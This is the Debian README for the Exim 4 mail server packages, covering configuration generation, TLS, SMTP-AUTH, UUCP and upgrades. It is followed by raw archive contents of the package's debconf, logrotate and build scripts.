How does this work? The script update-exim4.conf parses the /etc/exim4/update-exim4.conf.conf file and provides the configuration for the exim daemon. Depending on the value of dc_use_split_config, it either takes all the files below /etc/exim4/conf.d/ and concatenates them together or uses exim4.conf.template as input. The debconf-managed information from /etc/exim4/update-exim4.conf.conf is merged into the generated configuration file by generating a number of Exim configuration macros. DCsmarthost, for example, is set to the value of $dc_smarthost in /etc/exim4/update-exim4.conf.conf which holds the answer to "Which machine will act as the smarthost and handle outgoing mail?" The result of these operations is saved as /var/lib/exim4/config.autogenerated, which is not a dpkg-conffile! Manual changes to this file will be overwritten by update-exim4.conf. Please consult update-exim4.conf manpage for more detailed information. update-exim4.conf is invoked by the init script prior to any operation that may invoke an exim process, and gives an error message if the generated config file is syntactically invalid. If you want to activate your changes to files in conf.d/ just execute invoke-rc.d exim4 restart.
How do I do minor tweaks to the configuration? Some times, you want to do minor adjustments to the Exim configuration to make Exim behave exactly like you want it to behave. There are the following possibilities to modify Exim's behavior.
Adjustments supported by the debconf configuration If you want to modify parameters that are supported by the debconf configuration, things are easy. Just invoke dpkg-reconfigure exim4-config or hand-edit /etc/exim4/update-exim4.conf.conf to your liking and restart Exim. You can find explanation of the debconf questions in . Additionally, /etc/exim4/update-exim4.conf.conf is documented in the update-exim4.conf man page.
Adjustments controlled by macros in the Debian Exim configuration Some aspects of the Debian Exim configuration can be controlled by Exim macros. To find out about these, you need basic understanding of Exim configuration. Just look in our Exim configuration and see which macro needs to be set to a different value to alter Exim's behavior. gives a closer explanation about how to do this.
Making direct changes to the Debian Exim configuration You can, of course, make direct change to the configuration. All configuration files in /etc/exim4 are dpkg-conffiles, and you can thus edit them any time. Your changes will be preserved through updates. You need to know about how to configure Exim to be successful. If you use unsplit configuration, edit /etc/exim4/exim4.conf.template. If you use split configuration, edit the Exim configuration snippets in /etc/exim4/conf.d. More information about how the Exim configuration is built can be found in this document and in the update-exim4.conf manual page.
Using a completely different configuration scheme If you are an experienced Exim administrator, you might feel working with our pre-fabricated configuration cumbersome and complex. You might feel right if you need to make more complex changes and do not need to receive updates from us. This section is going to tell about how to use your own configuration. But, you might profit from keeping the Debian magic. Most files that come with Debian exim4 are conffiles. Debian is going to care about your changes and keeps them around. Additionally, a lot of configuration options can be overridden with a macro, which does not require you to actually change our configuration file. A lot of people are using our configuration scheme, and maybe it is going to save you a lot of time if you decide to spend some time familiarizing yourself with our scheme.
Override exim4-config configuration magic If you are only running a small number of systems and want to completely disable Debian's magic, just take your monolithic configuration file and install it as /etc/exim4/exim4.conf. Exim will use that file verbatim. To have something to start, you can either take /etc/exim4/exim4.conf.template, run update-exim4.conf --keepcomments --output /etc/exim4/exim4.conf, or use upstream's default configuration file that is installed as /usr/share/doc/exim4-base/examples/example.conf.gz. You are going to lose all magic you get from packaging though, so you need to be familiar with Exim to build an actually working config. /var/lib/exim4/config.autogenerated, the file generated by update-exim4.conf, is ignored as soon as /etc/exim4/exim4.conf is found. You should not edit /etc/exim4/exim4.conf directly when Exim is running, because the forked processes Exim starts for SMTP receiving or queue running would use the new configuration file, while the original main exim-daemon would still use the old configuration file. Some third-party HOWTOs that reference Debian and claim to make things easy suggest dumping a pre-fabricated, static config file to /etc/exim4/exim4.conf. This is considered bad advice by the Debian maintainers since you are going to disable all updates and service magic that Debian might deliver in the future this way. If you do not know exactly what you're doing here, this is a bad choice. We try to comment on external HOWTOs found on the web in the Debian Exim4 User FAQ to help you find out which advice to follow.
Replacing exim4-config with your own exim4 configuration package. We split off Exim's configuration system (debconf, update-exim4.conf, and the files in /etc/exim4/conf.d) to a separate package, exim4-config. If you want to, you can replace exim4-config by something entirely different. The other packages don't care. Your package needs to: Provides: exim4-config-2, Conflicts: exim4-config-2,exim4-config drop the Exim 4 configuration either into /var/lib/exim4/config.autogenerated or into /etc/exim4/exim4.conf. Your package must provide an executable update-exim4.conf that must be in root's path (/usr/sbin recommended). The init script will invoke that executable prior to invoking the actual exim daemon. If you do not need that script, have it exit 0. If you want to create your own configuration packages, there is a number of helpers available. The Exim 4 Debian svn repository holds sources for a exim4-config-simple package which contains a simple, not debconf-driven configuration scheme as an example which can be used as a template for a classical, exim4.conf based configuration scheme. The Exim 4 Debian svn repository holds sources for a exim4-config-medium package which contains the conf.d driven configuration of the main package with the debconf interaction removed. This can be used to create your own non-debconf configuration package that uses the conf.d mechanism. Finally, you can invoke the script debian/config-custom/create-custom-config-package which will create a new source package "exim4-config-custom" with the debconf-driven config scheme of exim4-config for your local modification. Please note that exim4-config-simple and exim4-config-medium are only targeted to be used as a template. The configurations contained are not suitable for productive use. Of course, the Debian maintainers appreciate any patches you might find suitable. The scripts in exim4-config-simple and exim4-config-medium may not work at all in your environment. Unfortunately, they have not been updated in a long time as well. We are willing to accept patches. See the development web page for links to the subversion repository. Exchanging the entire exim4-config package with something custom comes particularly handy for sites that have more than a few machines that are similarly configured, but do not want to use the original exim4-config package. Build your own exim4-config-custom or exim4-config-foo, and simply apt that package to the machines that need to have that configuration. Future updates can then be handled via the dpkg-conffile mechanism, properly detecting local modifications. In the future, it might be possible that Debian will contain multiple flavours of Exim4 configuration. However, these packages would have to be maintained by someone else because the exim4 package maintainers think that the scheme delivered with exim4-config is the least of all evils and would rather not spend the time to maintain multiple configuration schemes while only actually using one. It would be nice to have a configuration scheme using a monolithic config file, managed by ucf in three-way-merge mode. If anybody feels ready to maintain it, please go ahead.
Using TLS
Exim 4 as TLS/SSL client Both exim4-daemon-heavy and exim4-daemon-light support TLS/SSL using the GnuTLS library and STARTTLS. Exim will use TLS via STARTTLS automatically as client if the server Exim connects to offers it. This means that you will not need any special configuration if you want to use TLS for outgoing mail. However, if your server setup mandates the use of client certificates, you need to amend your remote_smtp and/or remote_smtp_smarthost transports with a tls_certificate option. This is not commonly needed. The certificate presented by the remote host is not checked unless you specify a tls_verify_certificate option on the transport. To make exim send a TLS certificate to the remote host set REMOTE_SMTP_TLS_CERTIFICATE/REMOTE_SMTP_PRIVATEKEY or for the remote_smtp_smarthost transport REMOTE_SMTP_SMARTHOST_TLS_CERTIFICATE/REMOTE_SMTP_SMARTHOST_PRIVATEKEY respectively. TLS on connect is not natively supported.
Enabling TLS support for Exim as server You should have created certificates in /etc/exim4/ either by hand or by usage of the exim-gencert (which requires openssl). exim-gencert is shipped in /usr/share/doc/exim4-base/examples/ and takes care of proper access privileges on the private key file. Now, enable TLS by setting the macro MAIN_TLS_ENABLE in a local configuration file as described in . After this configuration, Exim will advertise STARTTLS when connected to on the normal SMTP ports. Some broken clients (most prominent example being nearly all versions of Microsoft Outlook and Outlook Express, and Incredimail) insist on doing TLS on connect on Port 465. If you need to support these, set SMTPLISTENEROPTIONS='-oX 465:25 -oP /var/run/exim4/exim.pid' in /etc/default/exim4 and "tls_on_connect_ports=465" in the main configuration section. The -oP is needed because Exim does not write an implicit pid file if -oX is given. Without pid file, init script and cron job will malfunction. It might be appropriate to add "+tls_cipher +tls_peerdn" to any log_selector statement you might already have, or to add a log_selector statement setting these two options in a local configuration file. These options have Exim log what cipher your Exim and the peer's mailer have negotiated to use to encrypt the transaction, and they have Exim log the Distinguished Name of the peer's certificate. Exim can be configured to ask a client for a certificate and to try to verify it. Debian's exim configuration used to enable this by default, but stopped doing so since it caused TLS errors with a couple of popular clients (Outlook, Incredimail, etc.). To enable this again set the macro MAIN_TLS_TRY_VERIFY_HOSTS to the lists hosts whose certificates you want to check. (Use * to try checking all hosts. The value of the macro is used to populate exim's main option tls_try_verify_hosts.) You should also point MAIN_TLS_VERIFY_CERTIFICATES to a file containing the accepted certificates, since its default setting (/etc/ssl/certs/ca-certificates.crt) can contain a large list of certificates which causes the interoperabilty problems with Outlook et.al. noted above. The server certificate is only used for incoming connections, please consult for the corresponding outgoing conncection options.
Troubleshooting If Exim complains in an SMTP session that TLS is unavailable, the Exim mainlog or paniclog frequently has exact information about what might be wrong. Fo example, you might see 2003-01-27 19:06:45 TLS error on connection from localhost [127.0.0.1] (cert/key setup): Error while reading file) showing that there has been an error while accessing the certificate or the private key file. Insuffient entropy available is a frequent cause of TLS failures in Exim context. If Exim logs "not enough random bytes available", or simply hangs silently when an encrypted connection should be established, then Exim was unable to read enough random data from /dev/random to do whatever cryptographic operation is requested. Please check that your /dev/random device is setup properly. You might also find "TLS error on connection to [...] (gnutls_handshake): The Diffie-Hellman prime sent by the server is not acceptable (not long enough)." given as reason. Exim by default requires a DH prime length of 1024 bits. This requirement can be downgraded by setting the tls_dh_min_bits option on the SMTP transport. The setting is accessible in the Debian configuration by setting the macro TLS_DH_MIN_BITS. (e.g. "TLS_DH_MIN_BITS = 768").
SMTP-AUTH Exim can do SMTP AUTH both as a client and as a server. AUTH PLAIN and AUTH LOGIN are disabled for connections which are not protected by SSL/TLS per default. These authentication methods use cleartext passwords, and allowing the transmission of cleartext passwords on unencrypted connections is a security risk. Therefore, the default configuration configures Exim not to use and/or allow AUTH PLAIN and AUTH LOGIN over unencrypted connections. It is thus recommended to set up Exim to use TLS to encrypt the connections. Please refer to for documentation about this. Note that most Microsoft clients need special handling for TLS.
Using Exim as SMTP-AUTH client If you want to set up Exim as SMTP AUTH client for delivery to your internet access provider's smarthost put the name of the server, your login and password in /etc/exim4/passwd.client. See the man page for exim4-config_files(5) for more information about the required format. If you need to enable AUTH PLAIN or AUTH LOGIN for unencrypted connections because your service provider does support neither TLS encryption nor the CRAM MD5 authentication method, you can do so by setting the AUTH_CLIENT_ALLOW_NOTLS_PASSWORDS macro. Please refer to for an explanation of how best to do this. /etc/exim4/passwd.client needs to be readable for the exim user (user Debian-exim, group Debian-exim). It is suggested that you keep the default permissions root:Debian-exim 0640.
Using Exim as SMTP-AUTH server The configuration files include many, verbosely commented, examples for server-side smtp-authentication which just need to be uncommented. If you need to enable AUTH PLAIN or AUTH LOGIN for unencrypted connections because your clients neither support TLS encryption nor the CRAM MD5 authentication method, you can do so by setting the AUTH_SERVER_ALLOW_NOTLS_PASSWORDS macro. Please refer to for an explanation of how best to do this. If you want to authenticate against system passwords (e.g. /etc/shadow) the easiest way is to use saslauthd in the Debian package sasl2-bin. You have to add the exim-user (currently Debian-exim) to the sasl group, to give exim permission to use the saslauthd service. The Debian exim4 maintainers consider using system login passwords a bad idea for the following reasons: A compromised password will give access to a system account. E-Mail passwords could accidentally be transmitted unencrypted. E-Mail passwords are likely to be stored with the client software, which greatly increases the chance of a compromise.
How the Exim daemon is started The Debian Exim 4 packages' init script is located in /etc/init.d/exim4. Apart from the functions that are required by Debian policy and the LSB, it supports the commands what, which executes exiwhat to show what your Exim processes are doing, and force_stop which unconditionally kills all Exim processes. The init script can be configured to start listening and/or queue running daemons. This configuration can be found in /etc/default/exim4. This file is extensively documented.
Miscellaneous packaging issues
The daily cron job Exim4's daily cron job (/etc/cron.daily/exim4-base) does basic housekeeping tasks: It reads /etc/default/exim4, so you can use this file to change any of the variables used in the cron job. It is a no-op if no Exim4 binary is found. If $E4BCD_DAILY_REPORT_TO is set to a non-empty string, the output of eximstats is mailed to the address given in that variable. The default is empty, so no reports are sent. Options for eximstats can be given in $E4BCD_DAILY_REPORT_OPTIONS. A non-empty paniclog is a nearly sure sign of bad things going on. Thus, the cron job will send out warning messages to the syslog and root if it finds the panic log non-empty. Please note that the paniclog is not rotated daily, so existing issues will be reported daily until either the paniclog is rotated due to its sheer size, or you manually move it away, for example by calling logrotate -f /etc/logrotate.d/exim4-paniclog from a shell. Just in case your system logs transient error situations to the panic log as well (see, for example, Exim Bug 92), you can configure $E4BCD_PANICLOG_NOISE to a regular expression. If the paniclog contains only lines that match that regular expression, no warning messages are generated. If you want to disable paniclog monitoring completely, set $E4BCD_WATCH_PANICLOG to no. E4BCD_WATCH_PANICLOG=once will rotate a non-empty paniclog automatically after sending out the warning e-mail. It tidies up the retry and hints databases.
Using Exim with inetd/xinetd Exim4 is run as a separate daemon instead of inetd/xinetd for two reasons: Ease of maintenance: update-inetd is difficult to impossible to handle correctly (Just check the archived bug reports of Exim.) and update-inetd seems to be unmaintained for a long time, nobody dares to touch it. To quote Mark Baker, the maintainer of Exim (v3): "I really wish I had never used inetd in the first place, but simply set up exim to run as a daemon, but it's too late to change that now." Extended features Running from inetd interferes with Exim's resource controls (e.g it disables smtp_accept_max_per_host and smtp_accept_max). If you introduce bugs on your systems by running from (x)inetd you are on your own! If you want to run exim from xinetd, follow these steps: Disable Exim 4's listening daemon by executing update-exim4defaults --queuerunner queueonly Create /etc/xinetd.d/exim4 service smtp { disable = no flags = NAMEINARGS socket_type = stream protocol = tcp wait = no user = Debian-exim group = Debian-exim server = /usr/sbin/exim4 server_args = exim4 -bs } Run invoke-rc.d exim4 restart; invoke-rc.d (x)inetd restart If you want to use plain inetd, insert following line into /etc/inetd.conf: smtp stream tcp nowait Debian-exim /usr/sbin/exim4 exim4 -bs
Handling incoming mail for local accounts with low UID Since system accounts (mail, uucp, lp etc) are usually aliased to root, and root's mailbox is usually read by a human, these account names have started to be a common target for spammers. The Debian Exim 4 packages have a mechanism to deal with this situation. However, since this derives rather far from normal behavior, it is disabled by default. To enable it, set the macro FIRST_USER_ACCOUNT_UID to a numeric, non-zero value. Incoming mail for local users that have a UID lower than FIRST_USER_ACCOUNT_UID is rejected with the message "no mail to system accounts". Incoming mail for local users that have a UID greater or equal FIRST_USER_ACCOUNT_UID are processed as usual. Therefore, the default value of 0 ensures that the mechanism is disabled. On Debian systems, setting FIRST_USER_ACCOUNT_UID to 500 or 1000 (depending on your local policy) will disable incoming mail for system accounts. Just in case that you need exceptions to the rule, /etc/exim4/lowuid_aliases is an alias file that is only honored for local accounts with UID lower than FIRST_USER_ACCOUNT_UID. If you define an alias for such an account here, incoming mail is processed according to the alias. If you alias the account to itself, messages are delivered to the account itself, which is an exception to the rule that messages for low-UID accounts are rejected. The format of /etc/exim4/lowuid_aliases is just another alias file.
How to bypass local routing specialities Sometimes, it might be desireable to be able to bypass local routing specialities like the alias file or a user-forward file. This is possible in the Debian Exim4 packages by prefixing the account name with "real-". For a local account name "foo", "real-foo@hostname.example" will result in direct delivery to foo's local Mailbox. This feature is by default only available for locally generated messages. If you want it to be accessible for messages delivered from remote as well, set the Exim macro COND_LOCAL_SUBMITTER to true. If you do not want this at all, set the macro to false. Please note that the userforward router uses this feature to get error messages delivered, i.e. notifying the user of a syntax error in her .forward file.
Using more complex deliveries from alias files Delivery to arbitrary files, directory or to pipes in the /etc/aliases file is disabled by default in the Debian Exim 4 packages. The delivery process including the program being piped to would run as the exim admin-user Debian-exim, which might open up security holes. Invoking pipes from /etc/aliases file is widely considered obsolete and deprecated. The Debian Exim package maintainers would like to suggest using a dedicated router/transport pair to invoke local processes for mail processing. For example, the Debian mailman package contains a /usr/share/doc/mailman/README.Exim4.Debian file that gives a good example how to implement this. Using a dedicated router/transport pair have the following advantages: The router/transport pair can be put in place by another package, giving a well-defined transaction point between Exim 4 and $PACKAGE. Not allowing pipe deliveries from alias files makes it harder to accidentally run programs with wrong privileges. It is possible to run different pipe processes under different accounts. Even if only invoking a single local program, it is easier to do with your dedicated router/transport since you won't need to change this file, making automatic updates of this file possible for future versions of the Exim 4 packages. If you do local changes here, dpkg conffile handling will bother you on future updates. If you insist on using /etc/aliases in the traditional way, you will need to activate the respective functions by setting the transport options on the system_aliases router appropriately. Macros are defined to make this easier. See /etc/exim4/conf.d/router/400_exim4-config_system_aliases for information about which macros are available. You might find the address_file, address_pipe and/or address_directory transports that are used for the userforward router helpful in writing your own transports for use in the system_aliases router. If any of your aliases expand to pipes or files or directories you should set up a user and a group for these deliveries to run under. You can do this by setting the "user" and - if necessary - a "group" option and adding a "group" option if necessary. Alternatively, you can specify "user" and/or "group" on the transports that are used.
Putting Exim 4 and UUCP together UUCP is a traditional way to execute remote jobs (e.g. spool mails), and as a lot of old things there are much more than one way to do it. However, today, the ways to handle it have boiled down to more or less two different ways. Our recommendation is to use bsmtp/rsmtp wherever possible, because it supports all kinds of mail addresses (also the empty ones in bounces), and is also better from the security point of view.
Sending mail via UUCP
rmail with full addresses rmail is the oldest way to transfer mail to a remote system. However, today it is normally required to use addresses with full domains for that (Well, they look like any normal address for you, and we do not tell about the other way to not confuse you ;). If you want this, you can use this transport: rmail: debug_print = "T: rmail for $pipe_addresses" driver=pipe command = uux - -r -a$sender_address -gC $domain_data!rmail $pipe_addresses return_fail_output user=uucp batch_max = 20 However, all recipients are handled via the command line, so you are discouraged to use it.
bsmtp/rsmtp This is a more efficient way to transfer mails. It works like sending SMTP via a pipe, but instead of waiting for an answer, the SMTP is just batched; from this is also the name batched SMTP or short bsmtp. Furthermore, this way won't fail on addresses like " "@do.main. If you want this, please use this, if the remote site uses rsmtp (e.g. is Exim 4): rsmtp: debug_print = "T: rsmtp for $pipe_addresses" driver=pipe command = /usr/bin/uux - -r -a$sender_address -gC $domain_data!rsmtp use_bsmtp return_fail_output user=uucp batch_max = 100 and this if it wants bsmtp as the command: bsmtp: debug_print = "T: bsmtp for $pipe_addresses" driver=pipe command = /usr/bin/uux - -r -a$sender_address -gC $domain_data!bsmtp use_bsmtp return_fail_output user=uucp batch_max = 100 Of course, these examples can be extended for e.g. compression (but you can also use ssh for compression, if you want).
The router You need a router to tell Exim 4 which mails to forward to UUCP. You can use this one; please adopt the last line. Of course, it is also possible to send mail via more than one way. uucp_router: debug_print = "R: uucp_router for $local_part@$domain" driver=accept require_files = +/usr/bin/uux domains = wildlsearch;/etc/exim4/uucp transport = rsmtp The file /etc/exim4/uucp looks like: *.do.main uucp.name.of.remote.side
Speaking UUCP with the smarthost If you have a leaf system (i.e. all your mail not for your local system goes to a single remote system), you can just forward all non-local mail to the remote UUCP system. In this case, you can replace "domains = ..." with "domains = ! +local_domains", but then you need also to replace $domain_data in the transport by the UUCP-name of your smarthost. The file /etc/exim4/uucp is not needed in this case.
Receiving mail via UUCP
Allow UUCP to use any envelope address Depending how much you trust your local users, you might use trusted_users and add uucp to it or use local_sender_retain=true and local_from_check=false.
If you get batched smtp Allow uucp to execute rsmtp via commands rmail rnews rsmtp in your /etc/uucp/sys, and ask the sending site to use rsmtp (and not bsmtp) as the batched command.
Updating from Exim 3 If you use exim4-config from Debian, you will get the debconf based configuration scheme that is intended to cover the majority of cases. If exim4-config is installed while an Exim 3 package is present on the system, exim4-config tries to parse the Exim 3 config file to determine the answers that were given to eximconfig on Exim 3 installation. These answers are then taken as default values for the debconf based configuration process. Be warned! eximconfig from the Exim 3 packages does not record the explicit answers given on Exim 3 configuration. So we have to guess the answers from the Exim 3 configuration file /etc/exim/exim.conf, which is bound to fail if the config file has been modified after using eximconfig. This is the reason why we refrained from doing a "silent update", but only use the guessed answers to get reasonable defaults for our debconf based configuration process. Please note that we do not use the exim_convert4r4 script, but try to configure the Exim 4 package in the same way Exim 3 was. This will hopefully aid future updates. If you have used a customized Exim 3 configuration, you can of course use exim_convert4r4, and install the resulting file as /etc/exim4/exim4.conf after careful inspection. Exim 4 will then use that file and ignore the file that it generated from the debconf configuration. To aid future updates, we do, however, encourage you not to use the exim_convert4r4-generated file verbatim but instead drop appropriate configuration snippets in their appropriate place in /etc/exim4/conf.d.
Misc Notes
PAM PAM: On Debian systems the PAM modules run as the same user as the calling program, so they cannot do anything you could not do yourself, and in particular cannot access /etc/shadow unless the user is in group shadow. - If you want to use /etc/shadow for Exim's SMTP AUTH you will need to run exim as group shadow. Only exim4-daemon-heavy is linked against libpam. We suggest using saslauthd instead.
Account name restrictions In the default configuration, Exim cannot locally deliver mail to accounts which have capitals in their name. This is caused by the fact that Exim converts the local part of incoming mail to lower case before the comparision done by the check_local_user directive in routers is done. The router option caseful_local_part can be used to control this, and we decided not to set this option in the Debian configuration since it would be a rather big change to Exim's default behavior.
No deliveries to root! No Exim 4 version released with any Debian OS can run deliveries as root. If you don't redirect mail for root via /etc/aliases to a nonprivileged account, the mail will be delivered to /var/mail/mail with permissions 0600 and owner mail:mail. This redirection is done by the mail4root router which is last in the list and will thus catch mail for root that has not been taken care of earlier.
Debugging maintainer and init scripts Most of the scripts that come with this Debian package do a set -x if invoked with the environment variable EX4DEBUG defined and non-zero. This is particularly handy if you need to debug the maintainer scripts that are invoked during package installation. Since dpkg redirects stdout of maintainer scripts, calling dpkg with EX4DEBUG set might yield interesting results. If in doubt, invoke the maintainer scripts with EX4DEBUG set manually directly from the command line.
SELinux There is no SELinux policy for Exim4 available so far. Until this is resolved, users should use postfix or sendmail if they intend to run SELinux. The Debian Exim4 maintainers would appreciate if somebody could write an SELinux policy. We will gladly use them in the Debian packages as long as there is somebody available to test, debug and support.
misc convert4r4 is installed as /usr/sbin/exim_convert4r4. The charset for $header_foo expansions defaults to UTF-8 instead of ISO-8859-1. Marc Merlin's Exim 4 Page has a lot of ACL examples. For an example of Exim usage in a large installation, see Tony Finch's paper about the Exim installation at University of Cambridge:
Debian modifications to the Exim source Patches by Steve Haslam: boolean_redefine_protect [src/mytypes.h] Surround the definition of TRUE and FALSE macros with #ifndef /#endif, in case some other header defines them (from mixing No Perl and Exim, istr) Other stuff link exim dynamically against pcre. The main binary is /usr/sbin/exim4: src/globals.c was changed to use 'US BIN_DIRECTORY "/exim4"' as default for exim_path. changed default for $exim_path (modulo lower/upper case) from BIN_DIRECTORY/exim to BIN_DIRECTORY/exim4 in exicyclog.src, exim_checkaccess.src, eximon.src, exinext.src, exiqgrep.src, exiwhat.src. OS/Makefile-Linux:EXIWHAT_MULTIKILL_ARG=exim4 localscan_dlopen .patch: Allow to use and switch between different local_scan functions without recompiling Exim. Use local_scan_path = /path/to/sharedobject to utilize local_scan() in /path/to/sharedobject. changes to the documentation to have the Debian-specific mailing list mentioned where the official exim-users list is mentioned
Credits Andreas Barth UUCP documentation Dan Weber, Ryen Underwood inetd/xinetd documentation
debian/exim4-daemon-light.config0000644000000000000000000000037512027557533013767 0ustar #!/bin/sh set -e . /usr/share/debconf/confmodule if [ -n "$EX4DEBUG" ]; then echo "now debugging $0 $@" set -x fi db_version 2.0 if [ "reconfigure" = "$1" ]; then db_beginblock db_input low exim4-daemon-light/drec || [ "$?" = "30" ] db_go fi debian/exim4-base.exim4-paniclog.logrotate0000644000000000000000000000017612027557533015702 0ustar /var/log/exim4/paniclog { size 10M missingok rotate 10 compress delaycompress notifempty create 640 Debian-exim adm } debian/compat0000644000000000000000000000000212027557533010375 0ustar 7 debian/exim4-dev.links0000644000000000000000000000023612027557533012044 0ustar usr/share/doc/exim4-base/changelog.gz usr/share/doc/exim4-dev/changelog.gz usr/share/doc/exim4-base/README.Debian.gz usr/share/doc/exim4-dev/README.Debian.gz debian/exim4-base.doc-base.debian0000644000000000000000000000050012027557533013750 0ustar Document: exim4-readme-debian Title: Debian-specific documentation for Exim 4 Author: Various Abstract: This file documents specific details of the Exim4 Debian packages. Section: Network/Communication Format: html Index: /usr/share/doc/exim4-base/README.Debian.html Files: /usr/share/doc/exim4-base/README.Debian.html debian/exim4-base.doc-base.spec0000644000000000000000000000033012027557533013461 0ustar Document: exim4-spec-txt Title: Exim specification Author: Various Abstract: Exim reference manual. This is the text version. Section: Network/Communication Format: text Files: /usr/share/doc/exim4-base/spec.txt.gz debian/exim4-base.manpages0000644000000000000000000000053312200230010012616 0ustar b-exim4-daemon-light/doc/exim.8 debian/manpages/exicyclog.8 debian/manpages/exigrep.8 debian/manpages/exim_checkaccess.8 debian/manpages/exim_db.8 debian/manpages/exim_dbmbuild.8 debian/manpages/exim_lock.8 debian/manpages/exinext.8 debian/manpages/exiqgrep.8 debian/manpages/exiqsumm.8 debian/manpages/exiwhat.8 debian/manpages/exim_convert4r4.8 debian/config-custom/0000755000000000000000000000000012027557533011754 5ustar debian/config-custom/debian/0000755000000000000000000000000012027557533013176 5ustar debian/config-custom/debian/install0000644000000000000000000000014012027557533014562 0ustar debian/debconf/update-exim4.conf.template usr/sbin debian/debconf/exim4.conf.template etc/exim4 debian/config-custom/debian/rules0000755000000000000000000000456712027557533014272 0ustar #!/usr/bin/make -f # debian/rules for exim4-config-custom # This file is public domain software, originally written by Joey Hess. # # Uncomment this to turn on verbose mode. export DH_VERBOSE=1 buildname=$${build:-`$(SHELL) scripts/os-type`-`$(SHELL) scripts/arch-type`} DEBIAN:=$(shell pwd)/debian configure: configure-stamp # the patches might change src/EDITME. configure-stamp: dh_testdir touch configure-stamp build-indep: build-indep-stamp build-indep-stamp: dh_testdir touch build-indep-stamp build: build-indep clean: cleanfiles cleanfiles: dh_testdir dh_testroot rm -f build-indep-stamp configure-stamp install-stamp debian/files rm -f debian/debconf/exim4.conf.template # Add here commands to clean up after the build process. dh_clean install: install-stamp install-stamp: build dh_testdir dh_testroot dh_clean -k dh_installdirs install -m 755 debian/debconf/update-exim4.conf debian/exim4-config/usr/sbin install -m 755 $(DEBIAN)/update-exim4defaults $(DEBIAN)/exim4-config/usr/sbin # install -m644 debian/debconf/exim4.conf.template debian/exim4-config/etc/exim4 # ship a copy in examples # install -m644 debian/debconf/exim4.conf.template debian/exim4-config/usr/share/doc/exim4-config/examples/exim4.conf.template.debconf install -m644 debian/email-addresses debian/exim4-config/etc install -m755 debian/ip-up.d debian/exim4-config/etc/ppp/ip-up.d/exim4 cd $(DEBIAN)/debconf/conf.d && \ tar cf - `find \( -path '*/.svn/*' -prune \) -or \( -type f -print \)` | \ { cd $(DEBIAN)/exim4-config/etc/exim4/conf.d/ && \ tar xf - ; } chmod 755 debian/debconf/update-exim4.conf.template CONFDIR=$(DEBIAN)/debconf debian/debconf/update-exim4.conf.template --nobackup --run # dh_movefiles touch install-stamp # Build architecture-independent files here. binary-indep: build install dh_testdir -i dh_testroot -i dh_installchangelogs -i dh_installdocs -i dh_installexamples -i dh_installmenu -i dh_installdebconf -i dh_installlogrotate -i # dh_installemacsen -i dh_installpam -i dh_installmime -i # dh_installinit -i dh_installcron -i # dh_installinfo -i # dh_undocumented -i dh_installman -i dh_install -i dh_strip -i dh_link -i dh_compress -i dh_fixperms -i # dh_makeshlibs -i dh_installdeb -i # dh_perl -i dh_shlibdeps -i dh_gencontrol -i dh_md5sums -i dh_builddeb -i binary: binary-indep .PHONY: build clean binary-indep binary-arch binary install debian/config-custom/debian/control0000644000000000000000000000113712027557533014603 0ustar Source: exim4-config Section: mail Priority: optional Maintainer: locally built Standards-Version: 3.6.1.0 Build-Depends-Indep: debhelper (>= 4.0.1) Package: exim4-config Architecture: all Priority: important Conflicts: orig-exim4-config Replaces: orig-exim4-config Provides: orig-exim4-config, orig-exim4-config-2 Depends: ${shlibs:Depends}, ${misc:Depends}, exim4-base Description: exim4-config locally modified Debian configuration for exim4 This package provides the configuration for the exim4 daemon packages. It is a locally built special version derived from orig-exim4-config. debian/config-custom/debian/compat0000644000000000000000000000000212027557533014374 0ustar 4 debian/config-custom/debian/copyright0000644000000000000000000000135212027557533015132 0ustar This is a custom made configuration package for Debian GNU/Linux's prepackaged version of exim4, a powerful yet easy to configure mail transport agent. This package was originally made by create-custom-package, a script written by Marc Haber using work provided by Andreas Metzler . create-custom-package uses the exim4 source package to build this source package. The files in this package are free software; you can redistribute them and/or modify them under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. Full text of the license can be found at /usr/share/common-licenses/GPL debian/config-custom/create-custom-config-package0000755000000000000000000000373512027557533017321 0ustar #!/bin/bash if [ -n "$1" ]; then PACKAGESUFFIX="$1" else PACKAGESUFFIX="custom" fi TARGETDIR="../exim4-config-$PACKAGESUFFIX" #DEBUG=1 # copy over -changelog, generating a proper changelog entry # copy over update-exim4defaults, ip-up.d, email-addresses dh_testdir set -e copytextreplace() { FILE="$1" DSTFILE="$2" DIR="${FILE%/*}" FILE="${FILE##*/}" if [ -z "$DSTFILE" ]; then DSTFILE="$FILE" fi [ $DEBUG ] && echo >&2 "DBG: source $DIR/$FILE" [ $DEBUG ] && echo >&2 "DBG: dst $TARGETDIR/$DIR/$DSTFILE" mkdir -p $TARGETDIR/$DIR if ! [ -e "$TARGETDIR/$DIR/$FILE" ]; then < $DIR/$FILE \ sed -e "s/exim4-config/exim4-config-$PACKAGESUFFIX/g" \ -e "s/orig-exim4-config-$PACKAGESUFFIX/exim4-config/g" \ > $TARGETDIR/$DIR/$DSTFILE chmod --reference=$DIR/$FILE $TARGETDIR/$DIR/$DSTFILE else echo >&2 "ERR: can't write to $TARGETDIR/$DIR/$DSTFILE, file exists" exit 1 fi } for file in manpages config templates postinst postrm dirs; do copytextreplace debian/exim4-config.$file exim4-config-$PACKAGESUFFIX.$file done for file in `cat debian/exim4-config.manpages` \ `find debian/debconf \( -path '*/.svn/*' -prune \) -or \( -type f -print \)`; do copytextreplace $file done for file in compat control copyright rules install; do copytextreplace debian/config-custom/debian/$file done for file in ip-up.d update-exim4defaults email-addresses; do copytextreplace debian/$file done # manual corrections in target directory mv $TARGETDIR/debian/config-custom/debian/* $TARGETDIR/debian rm -rf $TARGETDIR/debian/config-custom chmod 775 $TARGETDIR/debian/rules # hack changelog < debian/changelog sed -n "/^exim4/{s/exim4/exim4-config-$PACKAGESUFFIX/p;q;}" > $TARGETDIR/debian/changelog echo -e "\n * automatically generated changelog" >> $TARGETDIR/debian/changelog < debian/changelog sed -n '/^ --/{p;q;}' >> $TARGETDIR/debian/changelog cd $TARGETDIR dch --append "generated source package by create-custom-package" debian/copyright0000644000000000000000000002717312200230010011107 0ustar This is Debian GNU/Linux's prepackaged version of exim, a powerful yet easy to configure mail transport agent. ----------------------------------------------------------------- This package was put together from the original sources which are maintained by Philip Hazel , and which were obtained from ftp://ftp.csx.cam.ac.uk/pub/software/email/exim/ Some modifications to the Makefiles have been made to fit with the Linux FHS. ----------------------------------------------------------------- ----------------------------------------------------------------- The exim content filtering extension, formally known as the exiscan-acl patch, and which is included in exim4-daemon-heavy, was written by Tom Kistner . /* Copyright (c) Tom Kistner 